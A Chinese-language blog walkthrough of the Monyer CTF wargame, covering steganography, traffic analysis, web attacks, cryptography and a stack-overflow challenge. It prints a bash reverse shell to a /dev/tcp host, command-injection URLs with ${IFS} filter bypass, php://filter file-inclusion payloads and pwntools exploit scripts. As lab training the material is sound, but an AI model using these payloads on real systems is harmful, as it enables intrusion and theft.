拓冰建站拓冰建站
首页 / 资讯中心 / 正文

CTF靶场Monyer通关路线图:隐写分析、Web渗透、密码学与栈溢出实战

1. Monyer全关概况与准备工作梦之光芒Monyer是我入坑CTF时第一个完整刷完的闯关式靶场这么多年过去再看它的关卡设计依旧很适合“ctf入门”到进阶的过渡。平台里的题目不是标准比赛那种三道Web五道杂项的散装结构而是按难度递进的一整条线索从最基础的编码解码开始一路走到Web漏洞利用、流量分析、隐写、密码学甚至还有一个简单的栈溢出“rip题”作为二进制方向的引子。对新手来说最大的好处是每一关都会逼着你学会一个新工具不会出现“题目看不懂、百度也不知道该搜什么”的断档感。我这次重刷的动机很简单打算把家里的旧笔记整理成一份能直接复制使用的通关手册顺便验证一下几年后这些关卡的工具链有没有变化。实测下来核心思路完全没有过时只是有些在线工具没法用了需要切换到本地脚本。这篇文章不会把每一关的Flag直接甩出来而是按题型拆解告诉你看到哪类特征该走哪条路以及我在实际解题中踩过的坑。准备刷Monyer的朋友可以把本文当成一份“全关解题路线图”来用。1.1 关卡构成与难度曲线Monyer早期的关卡很好上手甚至不需要安装任何工具用浏览器自带的开发者工具和信息搜索就能过。往后难度会突然上一个台阶比如遇到一个加密压缩包密码不是简单的弱口令而是藏在某个图片的Exif信息里再比如Web题里遇到一个看起来人畜无害的passthru函数实际上是在向你暗示命令执行。整体曲线比很多培训机构的“从入门到放弃”要平滑得多因为它每一关都只引入一个新知识点。我把整个刷题过程分成四个阶段第一阶段是杂项热身重点练文件分析、编码识别和隐写工具第二阶段进入Web题开始接触HTTP协议、源码泄露和命令注入第三阶段是密码学题包含古典密码、分组密码和一些奇怪的编码第四阶段才是Pwn题数量不多但用来理解栈溢出刚好合适。按这个节奏刷下来基本能把CTF杂项和Web方向的主干知识串起来。1.2 环境与工具清单我在Kali Linux虚拟机里配置了一套固定的CTF工具箱Monyer全关用到的东西基本都在这。建议你直接按这个清单准备别在某个环节再临时找工具。用途工具使用场景文件分析file、binwalk、foremost识别文件真实类型、分离隐藏文件十六进制编辑010 Editor、HxD查看PNG/JPEG/ZIP文件头、修改伪加密位图片隐写zsteg、Stegsolve、exiftoolLSB隐写、通道查看、Exif信息提取压缩包处理7z、fcrackzip、ARCHPR解压、爆破ZIP密码网络流量分析Wireshark、tshark流量包内找Flag、还原文件Web抓包与扫描Burp Suite、curl、dirsearch改请求包、目录扫描、源码还原加解密CyberChef、随波逐流CTF编码工具自动识别编码、古典密码、分组密码处理二进制调试checksec、gdb、objdump、pwntools保护检查、反汇编、栈溢出利用日常脚本Python3、PyCryptodome、zlib写爆破脚本、解析自定义格式工具不需要一次装全但CyberChef和随波逐流这两个建议提前备好Monyer里至少三分之一非Web题目可以用它们直接解出来。尤其是“佛说只能四天”那种佛曰编码题离线工具反而比在线网页更靠谱不至于因为站点临时挂掉卡关。2. 杂项与隐写专项攻略从伪加密到流量分析Monyer的杂项题是我觉得最有教学价值的部分它不会直接告诉你“这是隐写题”而是给一个看似正常的文件让你自己去发现异常。以下这几类题目在Monyer全关里出现频率极高也是国内CTF杂项题目的常客。2.1 压缩包伪加密判断与处理遇到一个ZIP压缩包提示输入密码第一反应不应该是立刻爆破而是先判断它到底是不是“伪加密”。伪加密的意思是压缩包数据区并没有真正加密只是文件头里把加密标志位写成了1解压软件看到这个标志就会要求密码。判断方法很简单用010 Editor或HxD打开ZIP文件搜索十六进制50 4B 01 02ZIP中央目录文件头。这个文件头往后偏移第9、10字节是“通用位标志”如果是01 00或09 00之类的值而数据区没有加密痕迹基本可以判定为伪加密。处理方式就是把这两个字节改成00 00再保存。我当初卡在这个地方将近半小时原因是用WinRAR直接打开压缩包会提示密码但用7-Zip却能不解压直接看到内部文件名。这本身就是伪加密的一个很明显的特征。遇到ZIP要养成习惯先看一眼文件名列表再决定要不要爆破。如果能看到文件列表但解压要密码优先考虑伪加密如果连文件列表都看不全那才是真加密。真加密的压缩包也不要急着上高级掩码爆破。Monyer这类靶场的压缩包密码大多是简单数字或英文单词可以用fcrackzip -u -D -p ./dict.txt target.zip先跑一轮字典跑不出来再考虑掩码。很多题目密码就是纯数字6位ARCHPR选择“暴力破解所有数字”很快能跑出来。2.2 图片隐写LSB、JPEG与宽高修复图片类杂项题几乎每个CTF都有Monyer自然也不例外。拿到图片第一件事是先跑一遍基础命令组合file pic.png strings pic.png | head -50 exiftool pic.png binwalk pic.pngstrings能直接看到藏在图片里的明文Flagexiftool则可能翻出作者、注释、GPS信息里的暗示。binwalk可以检测图片尾部是否附加了另一个压缩包或其他文件发现附加数据后用foremost直接分离。如果基础检查没结果就要考虑LSB隐写了。PNG和BMP图像每个像素的RGB值最低一位通常肉眼不可见但通过工具能把最低位拼成一张新图。Stegsolve打开图片后在Analyse菜单里选择Bit Planes逐个通道看是否有规律图案zsteg则更适合命令行快速检测zsteg pic.png -azsteg有多个参数-a表示全通道检测。它会把可能的LSB隐写内容直接打印出来支持文本、PNG、BMP等多种嵌入形式。还有一个常见考点是“图片被改过宽高”。比如题目只给了一张看起来残缺的图片实际是PNG的IHDR信息里高度被改小了导致下方像素被截断。修复思路是用PNG的CRC32校验值去爆破正确的宽高。脚本逻辑是遍历可能的宽高组合把IHDR前17字节重新拼接计算CRC32如果等于原文件里的CRC值就找到了正确的尺寸。这类题在Monyer里也有建议提前把爆破脚本存好。关于Monyer里那道“非黑即白”题目它表面是一张黑白图片但如果你把图片放大看行列会发现黑白色块是按矩阵排列的这时候就要考虑是二维码或者二进制像素点阵。可以用脚本把每个像素点转为0和1再按行列重组有时候直接就是一段二进制ASCII。翻转黑白也是常见操作因为二维码的取反可能导致扫描不出来。2.3 PDF隐写与文件伪装PDF隐写在Monyer里属于中等难度。普通做法是用pdftotext提取文字层但有些内容根本不显示在页面上而是藏在注释、书签、元数据甚至字体文件里。推荐用pdf-parser.py逐对象扫描重点看/Annots和/OpenAction对象前者可能包含隐藏链接或注释后者会在打开时自动执行动作。更隐蔽的做法是“对象流压缩”。PDF1.5之后支持把多个对象压缩到同一个/ObjStm里文本编辑器直接搜不到。需要用qpdf或mutool clean展开后再看。我曾经遇到一道PDF隐写题Flag被拆成了多个字符分别放在不同页面的不可见文字层里肉眼完全看不出来最后是通过pdftotext -layout逐页比对才发现规律。文件伪装题也很常见比如一个文件后缀是.jpg但file命令识别出来是Zip archive。这种题纯粹是考你有没有检查文件真实类型的习惯。Monyer的某个关卡就是给了一个修改后缀的压缩包直接改回.zip就能解压出下一层线索。所以碰到任何文件先file一下这个习惯能帮你省下大量无用功。2.4 流量包分析从HTTP到USB协议流量包分析是CTF杂项里的重点Monyer也安排了一道完整的pcapng分析题。主要分两个层面如果流量是HTTP协议优先用Wireshark的“文件 导出对象 HTTP”把所有传输过的文件导出来很多情况下Flag直接就在某个下载文件里。然后用http.request.method POST过滤出上传请求查看POST表单内容有时候线索藏在用户名或注释里。如果是更复杂的协议比如USB键盘流量Wireshark直接看会比较吃力。USB键盘流量包里每个包的长度固定数据部分包含键盘按键的HID码需要把这些HID码还原成按键值。可以用tshark提取所有URB_INTERRUPT包的usbhid.data字段再写个脚本把0x04之类的HID码映射成键盘符号。鼠标流量则是提取坐标变化再把移动轨迹画成图片。tshark -r capture.pcapng -Y usbhid.data -T fields -e usbhid.data usb.txt这种题其实不难难点在于特征识别。你在Wireshark里看到一堆URB_INTERRUPT in的USB包就马上应该联想到键盘流量。平时可以把常见的HID按键映射表存一份用的时候直接查。3. Web方向闯关记录信息收集、文件包含与命令执行Monyer的Web题不算多但每道都挺经典。从最基础的robots.txt信息泄露到后面带过滤的命令执行基本覆盖了CTF Web入门需要掌握的几条主线。我按实际做题顺序说一下思路。3.1 信息收集robots.txt、源码泄露与目录扫描任何Web题第一件事不是拿扫描器乱扫而是先看robots.txt。很多新手觉得robots只是给搜索引擎看的实际上它是CTF出题人最喜欢藏东西的地方。http://target/robots.txt里常常直接给出/flag.txt或/admin.html这样的路径。然后要看页面源代码注释Monyer有个关卡把Flag直接写在HTML注释里用curl拉取源码就能看到curl -s http://target/ | grep -i flag\|password\|!--如果前端代码里有.git目录泄露情况就比较复杂了。通过访问http://target/.git/config如果返回内容包含[core]说明源码仓库被直接暴露了。这时可以用GitHack把泄露的.git目录还原成完整源码。还原后优先看config.php、db.php这类配置文件很多题目会把数据库密码或者后台登录凭证留在里面。目录扫描放在最后做因为会产生大量请求容易触发靶场防护。用dirsearch加常用字典足够dirsearch -u http://target/ -e php,txt,html -t 10扫描结果里如果出现/admin、/backup、/www.zip这类路径多半就是突破口。还有一个容易忽略的地方是HTTP响应头有时候Flag就藏在X-Custom-Header里。3.2 文件包含与PHP伪协议Monyer Web题里有一道很明显是文件包含漏洞。URL长这样http://target/index.php?filepage.php当你把page.php换成任意路径时页面会尝试读取该文件。这类型的题目如果目标是读取源码可以用PHP伪协议http://target/index.php?filephp://filter/convert.base64-encode/resourceflag.php返回的是一串Base64解码后就是原始PHP源码。这里有一个细节为什么需要convert.base64-encode因为PHP文件如果直接被include里面的PHP代码会被执行你看到的只是执行结果而不是源代码。只有先用Base64编码绕过执行才能看到明文。如果文件包含配合文件上传同时存在则可以考虑上传图片马再用fileuploads/shell.jpg触发解析但Monyer的题目还没到这一步。文件包含漏洞的另一个变种是日志注入通过UA头写入PHP代码再包含日志文件这类技巧在真实渗透里也很常见。3.3 命令执行绕过从passthru到反弹ShellMonyer特意安排了一个命令执行考点后台代码大概是passthru($_GET[cmd])这样直接把系统命令的输出打印到页面。看到passthru就要知道这是命令执行入口。最简单的利用方式就是拼接命令http://target/?cmdls http://target/?cmdls%3Bcat%20flag.php注意;会被URL编码成%3B。但Monyer这道题并没有这么简单它过滤了空格直接传cat flag.php会报错。绕过空格的方法有很多我实测有效的是${IFS}http://target/?cmdcat${IFS}flag.php${IFS}是Shell内部的字段分隔符默认包含空格、Tab和换行。如果还过滤了cat可以用tac、more、less、nl等命令替代或者把命令拆成变量拼接绕过关键词过滤。这一套思路在CTF和实战中通用建议背下来。拿下命令执行之后如果想获取交互式Shell就需要考虑反弹Shell。这里必须以CTF靶场为前提千万不要对未授权的系统这么做。操作分两步攻击机监听端口nc -lvnp 4444目标机执行bash -i /dev/tcp/192.168.1.100/4444 01如果目标环境没有bash可以用Python或Perl反弹。反弹Shell的好处是后续查看系统文件、数据库配置、内网横向信息都方便很多。Monyer有一道综合题就是通过反弹Shell拿到主机上另一个隐藏文件最终拼出完整Flag。4. 密码学与编码题解析从佛曰到分组密码密码学题和编码题很容易混在一起。编码不是加密只是换了种表示方式但CTF里经常把它俩放在同一个关卡里考察。Monyer的密码学部分难度跨度不小从一眼就能看出的Base64到需要写脚本解的分组密码都有对应关卡。4.1 编码识别与解码工具链遇到一段看不懂的字符串先判断是不是常见编码。可以通过特征来识别Base64只包含A-Za-z0-9/URL编码包含大量%xx十六进制字符范围是0-9a-f且长度是偶数。Monyer有个早期关卡给了一串像乱码又像Base64的东西我直接扔进CyberChef用“Magic”功能它自动识别出是Base64后再解了一层URL编码最后再Base64才出Flag。这种多层编码题用CyberChef非常合适。CyberChef的Magic操作会自动尝试大量解码方式很多时候你不需要手动判断编码类型直接拖进去点Magic就能看到结果。不过它偶尔也会给出错误结果需要自己分辨哪一层的输出符合可读文本的特征。Monyer里有一道著名的“佛说只能四天”题目属于佛曰加密。这类编码是古典宗教文本替换成的特殊符号常见于中文CTF圈。解法就是使用“随波逐流CTF编码工具”它在编码分类里内置了佛曰、社会主义核心价值观、颜文字、JJEncode等一堆特色编码的解码功能。对于这类不经常见到的编码与其自己分析替换表不如直接上离线工具一键解码。4.2 古典密码与分组密码古典密码里Monyer考到了凯撒、维吉尼亚和摩斯电码。凯撒密码可以通过词频分析或暴力移位破解维吉尼亚则需要先通过Kasiski检验或重合指数确定密钥长度再分别对每组做凯撒破解。实际做题时可以使用dCode、CyberChef或随波逐流工具但建议至少手动实现一次维吉尼亚解密否则比赛时工具不可用会非常被动。分组密码题是我觉得Monyer里最有区分度的内容。它不会给你现成的密文让你直接AES解密而是构造了一个特定场景需要利用分组密码的模式缺陷来解题。CBC模式的字节翻转攻击是一个典型考点。CBC解密时下一分组的明文由上一分组的密文参与异或。如果修改第n组密文的某个字节第n1组明文对应位置的字节就会发生确定性的变化。攻击者可以通过控制上一组密文来把下一组明文改成任意值。Monyer的分组密码题考了一个可预测的“标志位”验证通过字节翻转绕过校验拿到Flag。ECB模式的攻击方式则完全不同。因为ECB相同明文块会得到相同密文块可以利用“逐个字节地推进”来恢复未知明文这种方法叫ECB字节复制攻击。原理比较复杂但实际操作可以交给脚本。PyCryptodome库处理AES很方便自己实现解密脚本时注意填充模式PKCS7和PKCS5在实际应用里常混用但原理是同一套。4.3 哈希与长度扩展攻击部分Monyer高难关卡还会涉及哈希相关知识。最常见的是MD5比较绕过和哈希长度扩展攻击。MD5比较绕过利用的是PHP的弱类型比较比如0e123 0e456在PHP中会当作科学计数法比较因为0e开头的字符串会被解释为0最终比较结果成立。这类题只需要找到一个以0e开头且后面全是数字的字符串。哈希长度扩展攻击则是针对MD5($secret . $message)这种结构的认证方案。攻击者不知道密钥但知道密钥长度就可以通过填充构造出$secret . $message . $padding . $append的合法哈希。Monyer里有一道题就是用这种方式伪造了管理员请求参数。实现时可以用hashpump工具或者用Python的hlextend库。实际做题关键是猜测密钥长度用几个不同长度跑一遍找出能通过校验的那个。5. 二进制题实战以rip为入口理解栈溢出Monyer的二进制题数量不多但其中那道“rip”题非常经典适合用来建立Pwn方向的基本功。如果你刷Monyer是为了掌握CTF全方向建议不要跳过这一关栈溢出可以说是入门Pwn的必修课。5.1 保护检查与静态分析拿到二进制文件后不要急着运行先看两项基础信息file rip checksec --fileripchecksec会显示NX、PIE、RELRO、Canary等保护机制。Monyer的rip题通常是32位或64位小端程序NX可能开启但PIE和Canary是关闭的这意味着代码段地址固定也没有栈保护。这对于新手来说非常友好因为可以直接通过反汇编找后门函数的地址。用objdump -d rip查看汇编搜索win、flag、system等关键字。如果发现了打印Flag的函数比如win()解题就变成了简单的“控制返回地址跳到win函数”。如果找不到明显的后门函数则考虑构造ROP调用system(/bin/sh)但Monyer的题目一般会留一个明显目标。5.2 偏移量与利用脚本栈溢出的核心是确定从缓冲区起始到返回地址的偏移量。可以用pwntools的cyclic实现from pwn import * context.log_level error p process(./rip) p.sendline(cyclic(200)) p.wait() core p.corefile esp core.esp offset cyclic_find(esp 0xff) print(offset)如果程序没有开启core dump可以用gdb的pattern create 200和pattern offset结果是一样的。得到偏移量后构造payload就很简单from pwn import * p process(./rip) # 64位程序返回地址覆盖 payload bA * offset p64(win_addr) p.sendline(payload) p.interactive()这里有个小坑64位程序对栈对齐有要求有些情况下直接跳到system函数会崩溃需要在返回地址前加一个ret指令的地址作为栈对齐调整。Monyer的rip题如果不加ret在部分环境里会段错误加上就正常。5.3 远程利用与交互本地跑通后远程利用只需要把process(./rip)换成remote(host, port)p remote(127.0.0.1, 10000) p.sendline(payload) p.interactive()远程环境一般用nc直接连接。注意发送的数据可能需要加\n有些题目用了gets或read交互方式略有不同多试几次就能摸清。遇到输出回显不全的情况可以设置sleep延迟或者用recvuntil截取特定字符串避免都发出去之后收不到Flag。Pwn题的错误排查也很依赖gdb。利用失败时先用gdb ./rip附加进程在ret指令处打断点查看栈顶和返回地址是否被正确覆盖。这比瞎猜高效得多。我现在养成的习惯是本地调试一定会用到gdb-peda或pwndbg插件它们能直接高亮显示关键栈结构和寄存器状态。6. 高频报错与避坑指南刷Monyer期间会遇到不少非技术性的“坑”很多不是题目难而是环境或思路的问题。我把常见报错和处理方案整理成速查表希望能减少你卡关的时间。现象可能原因解决方案靶站打开是403目录权限/UA过滤换浏览器或设置UA尝试X-Forwarded-For: 127.0.0.1压缩包解压要密码但能看列表伪加密用十六进制编辑器修改加密位图片用图片浏览器打不开格式伪装file确认真实类型改后缀或分离在线解码工具打不开站点失效改用CyberChef或随波逐流离线工具反弹Shell连不上防火墙/NAT检查端口是否开放换443端口或用mkfifo方式Pwn题本地能打远程不行栈对齐/环境差异本地gdb单步看栈加retgadget漏洞利用后无回显命令输出被过滤写文件到Web目录再访问或者弹Shell6.1 网站老报403是怎么回事Monyer有些历史关卡在本地搭建后会遇到403这不一定是你操作有问题。先确认是不是路径写错比如目录名大小写不对然后看是不是服务器配置了UA过滤浏览器UA和默认爬虫UA返回结果不一样。最简单的方法是用Burp Suite改请求头加一个正常的Chrome UA再看看。如果访问后台管理页面403尝试加X-Forwarded-For: 127.0.0.1因为很多应用会把X-Forwarded-For当作客户端IP来校验访问来源。Monyer有一道Web题就需要把这个请求头加进去才能访问内网专属页面。这种技巧在做其他CTF和实战授权测试时也非常实用。6.2 动态靶场搭建与本地复现Monyer很多题目依赖特定的服务环境比如接收反弹Shell、PHP文件包含、Web服务等。建议学会用Docker快速搭建一个动态靶场方便反复测试。CTFd是常用的赛事平台支持动态Flag每名选手分配的容器环境是独立的。自己练习时可以在内网用Docker Compose一键拉起version: 3 services: web: image: php:7.4-apache ports: - 8080:80 volumes: - ./www:/var/www/html这样不需要在宿主机里装一堆依赖环境调坏了直接重建容器非常省事。很多新手做题做到一半发现环境被自己改坏了重启宿主机造成更多麻烦用容器就能完全避免。6.3 刷题顺序与笔记方法我的建议是先按“杂项-Web-密码学-二进制”的顺序刷杂项和Web题反馈快能建立信心密码学需要一定数学基础可以放在中间二进制题放到最后即使卡住也不影响整体进度。每道题通关后写一份Markdown格式的writeup包含题目描述、关键命令、截图、Flag格式和复盘心得。Monyer的关卡不是做一遍就完了过几个月再回来盲做一遍你会发现自己当年的笔记有很多可以优化。我自己刷Monyer最大的体会是所有题型到最后都在考察信息收集能力。拿到文件先file拿到URL先看源码拿到密文先识别编码这不是机械习惯而是减少试错路径的有效方法。如果你在某一关卡住超过半小时不要死磕退回去重新查看前面可能遗漏的线索Flag往往就藏在第一遍扫描时被忽略的细节里。最后分享一个小技巧把常用的命令组合写成一个solve.sh脚本每次做题直接改文件名跑一遍。比如解压前自动跑file、binwalk、strings能省下大量重复操作。工具链越熟练刷题越快全关通关的速度自然就上来了。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门